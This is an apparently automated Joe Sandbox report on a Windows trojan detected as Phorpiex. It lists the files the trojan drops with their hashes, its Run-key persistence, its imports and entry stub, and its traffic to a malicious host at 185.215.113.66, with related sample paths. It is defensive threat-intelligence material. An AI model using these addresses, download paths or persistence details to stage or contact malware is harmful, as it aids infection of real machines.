Private

IP
192.168.2.1
192.168.1.2

General Information

Joe Sandbox Version:	35.0.0 Citrine
Analysis ID:	693554
Start date and time:	2022-08-31 02:14:56 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 6m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	4dzlU0beKB.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	24
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@8/6@0/24
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 99.3% (good quality ratio 94.6%) Quality average: 83.4% Quality standard deviation: 26.5%
HCA Information:	Successful, ratio: 100% Number of executed functions: 57 Number of non-executed functions: 140
Cookbook Comments:	Found application associated with file extension: .exe Adjust boot time Enable AMSI

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded IPs from analysis (whitelisted): 20.72.235.82
Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, redir.update.msft.com.trafficmanager.net, fs.microsoft.com, prod-azurecdn-akamai-iris.azureedge.net, eudb.ris.api.iris.microsoft.com, www.update.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:16:03	API Interceptor	1x Sleep call for process: 2314729694.scr modified
02:16:06	API Interceptor	12x Sleep call for process: winrecsv.exe modified
02:16:06	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\winrecsv.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
185.215.113.66	jDdL67n3sn.exe	Get hash	malicious	Browse	185.215.113.66/twizt/2
185.215.113.66	Id4zlrsrZ4.exe	Get hash	malicious	Browse	185.215.113.66/twizt/3
193.193.254.13	o3N9Cy4cvC.exe	Get hash	malicious	Browse
213.246.19.58	jDdL67n3sn.exe	Get hash	malicious	Browse
2.185.152.73	GitmEGG60Q.exe	Get hash	malicious	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
TCIIR	SecuriteInfo.com.Linux.Siggen.9999.12311.761	Get hash	malicious	Browse	2.182.12.65
	7JkUQXDoxK	Get hash	malicious	Browse	80.191.125.130
	7bgk8Yuv7T	Get hash	malicious	Browse	5.190.23.215
	supercat.mpsl	Get hash	malicious	Browse	217.219.14.32
	7oKNr2noV2	Get hash	malicious	Browse	82.97.244.45
	IEEi5d6RYU	Get hash	malicious	Browse	5.232.203.212
	home.arm	Get hash	malicious	Browse	37.255.252.253
	muByQBoVvp	Get hash	malicious	Browse	2.187.183.242
	FNVTuoYn6w	Get hash	malicious	Browse	2.187.183.215
	XI0CEWzg47	Get hash	malicious	Browse	5.236.134.227
	I7ZQ7COLuW	Get hash	malicious	Browse	5.190.114.204
	MmU47YziW3	Get hash	malicious	Browse	87.251.151.4
	5PEZo2MNwq	Get hash	malicious	Browse	37.255.60.183
	XRrums43Go	Get hash	malicious	Browse	2.185.217.92
	dS3U2n4pQw	Get hash	malicious	Browse	85.185.108.186
	skid.arm-20220820-1521	Get hash	malicious	Browse	2.189.26.231
	skid.mpsl-20220819-0453	Get hash	malicious	Browse	2.189.8.12
	V2wOepXoQr	Get hash	malicious	Browse	2.181.113.244
	skid.mpsl-20220818-1128	Get hash	malicious	Browse	2.180.148.1
	jDdL67n3sn.exe	Get hash	malicious	Browse	93.117.36.111
WHOLESALECONNECTIONSNL	p2MQc6hRq1.exe	Get hash	malicious	Browse	185.215.113.216
	aIZDSigWjz.exe	Get hash	malicious	Browse	185.215.113.216
	M83j7zvU0c.exe	Get hash	malicious	Browse	185.215.113.55
	2mulLW5WkH.exe	Get hash	malicious	Browse	185.215.113.216
	file.exe	Get hash	malicious	Browse	185.215.113.216
	n0q98zG8uN.exe	Get hash	malicious	Browse	185.215.113.216
	myqLcfC5nE.exe	Get hash	malicious	Browse	185.215.113.216
	3x0WZMd7KD.exe	Get hash	malicious	Browse	185.215.113.216
	TWj5pDtj9V.exe	Get hash	malicious	Browse	185.215.113.216
	os88ZdLTKl.exe	Get hash	malicious	Browse	185.215.113.216
	rPucWGIpay.exe	Get hash	malicious	Browse	185.215.113.216
	DzfvxLS35Q.dll	Get hash	malicious	Browse	185.215.113.204
	bQNf8RW2dd.exe	Get hash	malicious	Browse	185.215.113.204
	SecuriteInfo.com.Variant.Fragtor.132154.8286.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.9710.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.21299.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.32462.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.29206.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.2335.exe	Get hash	malicious	Browse	185.215.113.58
	SecuriteInfo.com.Variant.Fragtor.132154.7031.exe	Get hash	malicious	Browse	185.215.113.58

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Users\user\AppData\Local\Temp\2314729694.scr	jDdL67n3sn.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Temp\2314729694.scr	Id4zlrsrZ4.exe	Get hash	malicious	Browse
C:\Windows\winrecsv.exe	jDdL67n3sn.exe	Get hash	malicious	Browse
C:\Windows\winrecsv.exe	Id4zlrsrZ4.exe	Get hash	malicious	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png	jDdL67n3sn.exe	Get hash	malicious	Browse
	Id4zlrsrZ4.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png

Process:	C:\Users\user\Desktop\4dzlU0beKB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77312
Entropy (8bit):	6.345505183378638
Encrypted:	false
SSDEEP:	1536:K3Mz8enofIxQrFP+ZrFugrZpVnWw7V15Frrmi:xweZQhGZ5ugDVnj7V15Fr
MD5:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
SHA1:	6FFCC083956C5AC19826BDD87E12F87817EE837C
SHA-256:	22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
SHA-512:	6592EC1A12F9575176474C6192D49F4F4A87998DA6692E07E8BA6A93789D6A92E41DBABD3488A27A49EC8C8C414E02751867FEB2A0038E4091630CA3E4FB235F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9QTQHWWN\tpeinf[1].png, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 68%, Browse Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: jDdL67n3sn.exe, Detection: malicious, Browse Filename: Id4zlrsrZ4.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...J...K.......K.......K...D...K..&&...K...J.~.K..&0...K.....K.....K.Rich..K.........PE..L...0D.b.....................X...... Z............@..........................`.......................................................................................................................................................................text............................... ..`.rdata...........0..................@..@.data....&...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\G62TDH9B\1[1]

Process:	C:\Windows\winrecsv.exe
File Type:	data
Category:	dropped
Size (bytes):	6912
Entropy (8bit):	7.974003045868741
Encrypted:	false
SSDEEP:	192:yc7ruJ3WV8LsVPAd12Oi0PfDqO+6mvrK5r6bM/uwt:jc3WVd4d1RBT+ViriMvt
MD5:	C3C46FC47CF6000878182A6E6C4A1BC5
SHA1:	05764D7EA80A88038ABDAB133E2F3732674BE473
SHA-256:	90E2CDB13AC35774BA388AFA505CD6B4EE40A41848EAD7C6EFA6AE24D81232A8
SHA-512:	BB782FBD193E5931104AE397B60668E82449297883E4B27A59BD6226DD75392ADC1C3E80C49278809B6CDF4B06E4E6FCE51F35052C4D3B023B7287E396FC3D0B
Malicious:	false
Reputation:	low
Preview:	.....F}...T...H.(..A...R[.@...........u.Q...K.......h#.e$N.B.)....W5......a..`..N_L$.aR.L%.@.DF.#.r.b...o. ..=#.8.;....Y..s.w.....7......O...E.....-.,.[..;E..&..0...k..).wA.>..]X.`./$.P.....Ev Kg..Q...0A._.._....<t..fO[..8.....9..2..-i..;h.....Q..=?...7>..Z..C.ZI`Kn......0;.@.&....d..d..N..[,.rO.+....L......\|/......b.....zv}g..c.+....[.......#..?.%R..".&.8.{.......#..\|.<...6....!.........7E.........H.U........}.}}...Tg.$.....B...%.c...?.'....\..T.w...~A..1.Q.p..cOU.q..UX.........C...T....U&AfN.....W.q..wG.\Q.{.G.....S.K.z...v..3M.6.M.#.H.......]?.......L1.........B..>...4%....b.QS..%.q[.....D.=2.#.ay..o{..a....0...f\|;......g/.F*...q....On.9.M...BV.&8.........S.<.6HQ..Z6.8Z.<..%...[.....;.I.h..woT.._.m....m+6~..E.i.......=......C....x7V..3..-..:.W.~.1W.5.....c.>......}..I....[..\|..P:..fV...;.;....^4.\5U.e&v.......^^....}).&..>...`.8..\|}...z.JHn.1..iB62teE..>.b..3..l;,.5.I.t..}.J.qH.....yz.7..x....8)0).u...n...q....@..L].t.S.5..R..g.b.`X...

C:\Users\user\AppData\Local\Temp\2201832713.exe

Process:	C:\Windows\winrecsv.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	4.322055480464072
Encrypted:	false
SSDEEP:	48:S7bIIyRPSDyRP/DyRPc12oxOwgWUy8X5ogCS0FovQoWeLjT6XOQXPtboyl1dPFty:wxFDYDbBxOFPLPfjTt+PtboynVyCtgf
MD5:	8F56F0F0C9A4AA6C0BDA072D8BF7C769
SHA1:	24A01D3502C3BFEBFB052AFADB0367B1407342FF
SHA-256:	4433C5F202948E0B5F5D9F4B14A423756149F9B879F5BF641CE9B8EE2CDD92A4
SHA-512:	8BE67132DF6AB80A67FA130C1BCF13519FC782C37E98553D89C847DAB4B29D78C51152185776E5C7ED49BD3C3DF0FF294605DD3E43CF899F4E6F295A7307A91A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 35%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......!S%.e2K.e2K.e2K..-O.g2K...E.g2K..-A.n2K.B.0.l2K.e2J.W2K.{`..d2K.{`..d2K.Riche2K.........PE..L...B!.c............................?........ ....@..........................`......gu....@..................................%..x....@.......................P....................................................... ...............................text............................... ..`.rdata....... ......................@..@.data...<....0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\2314729694.scr

Process:	C:\Users\user\Desktop\4dzlU0beKB.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77312
Entropy (8bit):	6.345505183378638
Encrypted:	false
SSDEEP:	1536:K3Mz8enofIxQrFP+ZrFugrZpVnWw7V15Frrmi:xweZQhGZ5ugDVnj7V15Fr
MD5:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
SHA1:	6FFCC083956C5AC19826BDD87E12F87817EE837C
SHA-256:	22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
SHA-512:	6592EC1A12F9575176474C6192D49F4F4A87998DA6692E07E8BA6A93789D6A92E41DBABD3488A27A49EC8C8C414E02751867FEB2A0038E4091630CA3E4FB235F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Users\user\AppData\Local\Temp\2314729694.scr, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 68%, Browse Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: jDdL67n3sn.exe, Detection: malicious, Browse Filename: Id4zlrsrZ4.exe, Detection: malicious, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...J...K.......K.......K...D...K..&&...K...J.~.K..&0...K.....K.....K.Rich..K.........PE..L...0D.b.....................X...... Z............@..........................`.......................................................................................................................................................................text............................... ..`.rdata...........0..................@..@.data....&...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\tnnodes.dat

Process:	C:\Windows\winrecsv.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.828161577041089
Encrypted:	false
SSDEEP:	96:rlukshBku5Gen5eRl7KKCek/Yk71L6LoDQz8seyZ61oNiPL:r8jhBkHe0VKSlkRGsDseyGoaL
MD5:	F7F7E705B6572D411923B3EC897B99D8
SHA1:	AA9AF430172C3EE25F6F546E7E9B2A3888B37381
SHA-256:	20BEEF3496B65A0FEE5ECCD7DAE659E763AFA3D88234DC31FB10C3EAE515EEF9
SHA-512:	F8D78EE34D3D202E0F45566E3BCCACD33EEA86F5275CCD4F88B308B2057DF0C18544698AAEED5B5BCF55480D5795522A4165C6C72BD570171D856B030B93E944
Malicious:	false
Reputation:	low
Preview:	ic.......Q......'......R........3......$.[......Y.......M%......................Y....W..G....W................k.....o^5.....[bu......U.....-............Y..}....Y........x.e.......m....^.E........:....).PZ.....pjp.....XL.....^..V.....#.R....Y.......\.....^.......>........l\............................9..............\/z.....EC.z...........$\.C.....^................m.............m..........`...._8Y.......o.....N&kY.....G........W.....X.J....M".{......9.......S.....\} x......a.....W..@....>.......u......\/#....._.......).`.....m..z....N&.)....p.nJ....Y.................}.....................8........;.............q5M............f........#......mJC`.......1......U%....-..D...........]u$o.......<.....q.F............R..\|...._.O.....W..i...._......%.........Z.....WL3........H....[..............K}.....N.T@....PP.Y......y............'3.b....Y................6F.....#D.......G.......&....P........5.).....;.q............]..(.............x....._:W.......[\......Z............

C:\Windows\winrecsv.exe

Process:	C:\Users\user\AppData\Local\Temp\2314729694.scr
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	77312
Entropy (8bit):	6.345505183378638
Encrypted:	false
SSDEEP:	1536:K3Mz8enofIxQrFP+ZrFugrZpVnWw7V15Frrmi:xweZQhGZ5ugDVnj7V15Fr
MD5:	ED2D7B25BB360CCCB4F0F6A4F8732D7A
SHA1:	6FFCC083956C5AC19826BDD87E12F87817EE837C
SHA-256:	22F524ABC98F958705FEBD3761BEDC85EC1AE859316A653B67C0C01327533092
SHA-512:	6592EC1A12F9575176474C6192D49F4F4A87998DA6692E07E8BA6A93789D6A92E41DBABD3488A27A49EC8C8C414E02751867FEB2A0038E4091630CA3E4FB235F
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\winrecsv.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 68%, Browse Antivirus: ReversingLabs, Detection: 96%
Joe Sandbox View:	Filename: jDdL67n3sn.exe, Detection: malicious, Browse Filename: Id4zlrsrZ4.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........%...K...K...K...J...K.......K.......K...D...K..&&...K...J.~.K..&0...K.....K.....K.Rich..K.........PE..L...0D.b.....................X...... Z............@..........................`.......................................................................................................................................................................text............................... ..`.rdata...........0..................@..@.data....&...0......................@...................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	4.715360115768845
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	4dzlU0beKB.exe
File size:	9216
MD5:	fe304e909fb1f67c4d9030fc74d0a2f1
SHA1:	1102fb973b3b83bbd5749db3ceb9405443c09dfe
SHA256:	a8d0ac5762f61683d7cbcbfc53e0b650e632625d7ffabf08b45986908891ee96
SHA512:	46f797b30affdc7bc2291b2b1fb064246a7aa2359072380468abce1423b338859c0ad45b02c2dc5623d167ef51c65414e06890c7c9dfe4b9e305a0b70257f1aa
SSDEEP:	192:oeJbEZ11AsLvRP1oynfUOMNc1Fu669tk2Hv:BJwZ11T51BUOMNqF96s
TLSH:	0612711C9AD84AADF2FB04F0B972724F426DB9322369C4FF553B10C5D892512D8E166B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........^...^...^...1...\......._...1...U...y%..U...^...u...@.W._...@.B._...Rich^...................PE..L...8].b...................

File Icon


Icon Hash:	00828e8e8686b000

Static PE Info

General

Entrypoint:	0x40194a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x62FF5D38 [Fri Aug 19 09:51:52 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	1638b66ab562e34b96db8786791d32b7

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
push FFFFFFFFh
push 00402248h
push 00401AD0h
mov eax, dword ptr fs:[00000000h]
push eax
mov dword ptr fs:[00000000h], esp
sub esp, 68h
push ebx
push esi
push edi
mov dword ptr [ebp-18h], esp
xor ebx, ebx
mov dword ptr [ebp-04h], ebx
push 00000002h
call dword ptr [0040203Ch]
pop ecx
or dword ptr [00403500h], FFFFFFFFh
or dword ptr [00403504h], FFFFFFFFh
call dword ptr [00402038h]
mov ecx, dword ptr [004034FCh]
mov dword ptr [eax], ecx
call dword ptr [00402040h]
mov ecx, dword ptr [004034F8h]
mov dword ptr [eax], ecx
mov eax, dword ptr [00402048h]
mov eax, dword ptr [eax]
mov dword ptr [00403508h], eax
call 00007F3F2CDF99D5h
cmp dword ptr [004034E0h], ebx
jne 00007F3F2CDF98CEh
push 00401AC6h
call dword ptr [0040204Ch]
pop ecx
call 00007F3F2CDF99A7h
push 0040300Ch
push 00403008h
call 00007F3F2CDF9992h
mov eax, dword ptr [004034F4h]
mov dword ptr [ebp-6Ch], eax
lea eax, dword ptr [ebp-6Ch]
push eax
push dword ptr [004034F0h]
lea eax, dword ptr [ebp-64h]
push eax
lea eax, dword ptr [ebp-70h]
push eax
lea eax, dword ptr [ebp-60h]
push eax
call dword ptr [00402054h]
push 00403004h
push 00403000h
call 00007F3F2CDF995Fh

Rich Headers

Programming Language:

[IMP] VS2005 build 50727
[C++] VS2008 build 21022
[LNK] VS2008 build 21022

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2254	0x8c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x1b4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0x204	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xbc	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xadc	0xc00	False	0.4251302083333333	data	5.002862195071096	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x654	0x800	False	0.419921875	data	3.917242396308186	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x50c	0x600	False	0.2903645833333333	data	2.741256132437388	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x1b4	0x200	False	0.486328125	data	5.097979088823027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0x260	0x400	False	0.48046875	data	4.038914351897677	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x4058	0x15a	ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
SHLWAPI.dll	PathFileExistsA
MSVCRT.dll	__p__fmode, __set_app_type, __p__commode, _controlfp, _adjust_fdiv, __setusermatherr, _initterm, __getmainargs, _acmdln, exit, _XcptFilter, _exit, srand, rand, memset, _except_handler3
WININET.dll	InternetOpenUrlA, InternetOpenA, InternetOpenUrlW, InternetReadFile, InternetCloseHandle, InternetOpenW
KERNEL32.dll	DeleteFileA, GetTickCount, CloseHandle, DeleteFileW, CreateProcessW, Sleep, MoveFileW, MoveFileA, GetModuleHandleA, CreateFileW, GetStartupInfoA, ExpandEnvironmentStringsW, WriteFile
USER32.dll	SetForegroundWindow, FindWindowA, ShowWindow, wsprintfW
SHELL32.dll	ShellExecuteW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 02:15:59.368870974 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.424976110 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.425048113 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.425627947 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.481503010 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618554115 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618596077 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618616104 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618629932 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618648052 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618659973 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618675947 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618694067 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618706942 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618719101 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.618796110 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.618849039 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.618854046 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.674906969 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.674946070 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.674972057 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.674998045 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675028086 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675044060 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675065041 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675075054 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675077915 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675093889 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675111055 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675127029 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675137997 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675144911 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675164938 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675168991 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675177097 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675194979 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675198078 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675211906 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675229073 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675237894 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675246954 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675261021 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675265074 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675282001 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.675292015 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675314903 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.675367117 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731256008 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731368065 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731424093 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731441975 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731462002 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731468916 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731473923 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731515884 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731632948 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731672049 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731720924 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731741905 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731745005 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731781960 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731787920 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731817961 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731828928 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731856108 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731868029 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731890917 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731913090 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731926918 CEST	80	49724	185.215.113.66	192.168.2.6
Aug 31, 2022 02:15:59.731931925 CEST	49724	80	192.168.2.6	185.215.113.66
Aug 31, 2022 02:15:59.731962919 CEST	80	49724	185.215.113.66	192.168.2.6
